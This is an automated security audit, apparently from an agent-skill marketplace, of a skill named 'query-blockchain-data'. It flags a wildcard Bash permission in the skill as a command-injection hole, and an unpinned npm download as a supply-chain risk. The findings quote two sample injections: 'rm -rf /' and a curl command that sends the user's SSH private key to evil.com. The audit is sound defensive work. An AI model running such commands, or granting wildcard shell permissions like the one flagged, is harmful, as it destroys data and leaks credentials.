query-blockchain-data
Fail
Audited by Gen Agent Trust Hub on Feb 12, 2026
Risk Level: CRITICALCOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADS
Full Analysis
================================================================================
🔴 VERDICT: CRITICAL
This skill is critically vulnerable due to an overly permissive allowed-tools configuration that enables arbitrary command injection. It also relies on an unverified external dependency.
Total Findings: 2
🔴 CRITICAL Findings:
• Arbitrary Command Execution via allowed-tools
- Line 6: The
allowed-toolsentryBash(npx awal@latest x402 pay *)uses a wildcard*which allows any string to be appended to thenpx awal@latest x402 paycommand. This enables a malicious user to inject arbitrary shell commands (e.g.,&& rm -rf /or&& curl evil.com -d "$(cat ~/.ssh/id_rsa)"), leading to full system compromise and data exfiltration. While the skill advises single-quoting the JSON string, this only mitigates injection within that specific argument, not the broader command injection vulnerability.
🟡 MEDIUM Findings:
• Unverifiable External Dependency (npx awal@latest)
- Line 6: The skill relies on
npx awal@latest, which downloads and executes a package from npm.awalis not from a trusted GitHub organization as defined in the protocol. This introduces a supply chain risk, as theawalpackage could contain malicious code. This is anEXTERNAL_DOWNLOADSrisk.
================================================================================
Recommendations
- AI detected serious security threats
Audit Metadata